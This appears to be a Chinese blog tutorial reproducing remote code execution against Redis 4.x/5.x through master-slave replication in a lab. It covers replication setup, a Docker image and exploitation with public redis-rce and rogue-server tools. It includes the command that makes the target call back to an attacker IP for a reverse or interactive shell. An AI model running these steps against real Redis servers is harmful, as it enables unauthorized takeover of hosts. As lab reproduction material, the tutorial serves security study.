redis主从复制RCE
redis主从复制RCE
免责声明:由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本篇文章作者不为此承担任何责任,一旦造成后果请自行承担!
Redis 主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储[数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
环境准备
redis主机:192.168.47.173
攻击机:192.168.47.163
redis安装可以参考
https://www.cnblogs.com/xinga/articles/16941786.html
首先把安装好的redis之复制两份并重命名为redisnode1以及redisnode
接下来,进入这三个目录中做配置。首先把配置文件各自备份一份,然后对redismaster/redis.conf文件进行配置修改,设置日志的路径:logfile “/data/logs/redismaster”。
接着修改redisnode/redis.conf配置文件 ,这里需要对配置文件内容中的服务端口进行修改。因为在master中已经占用了默认端口(6379端口)了,所以这里改为6380这个端口,然后设置 slaveof 127.0.0.1 6379或者slaveof 本机IP 6379,这个端口的服务是本机6379这个端口服务的备份机子。
对redisnode1也做类似的配置修改
注:修改配置salveof 127.0.0.1,如果填写127.0.0.1外网主机连不上redis,如果需要外网连接需要修改为本机IP,所以上面的配置配的是本机IP
三台机子都配置好后,就可以开启这三个服务了。通过执行命令
开三个终端分别启动服务
./redismaster/src/redis-server /redismaster/redis.conf
这样开启了6379端口的master服务;随后开启node的服务,执行命令
./redisnode/src/redisserver /redisnode/redis.conf
最后开启node1的服务,执行命令
./redis/redisnode1/src/redis-server /redisnode1/redis.conf
如果部署不想这么麻烦的话也可以使用docker直接拉取docker环境方法
docker search redis5.0 //查找镜像
docker pull damonevking/redis5.0
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server //映射端口并运行容器
客户端(攻击机)连接查看
slave连接查看
漏洞利用
git clone https://github.com/Ridter/redis-rce.git //下载漏洞利用脚本
这个仓库少一个.so的文件,还需要到https://github.com/n0b0dyCN/redis-rogue-server下载文件并放到和redis-rce.py同一目录下
python3 redis-rce.py -r 192.168.47.173(目标ip) -L 192.168.47.163(攻击机) -f exp.so
-r 是反弹,-i 是交互式shell,选择-r 输入反弹的主机和端口
参考
Redis基于主从复制的RCE 4.x/5.x 复现_weixin_30408165的博客-CSDN博客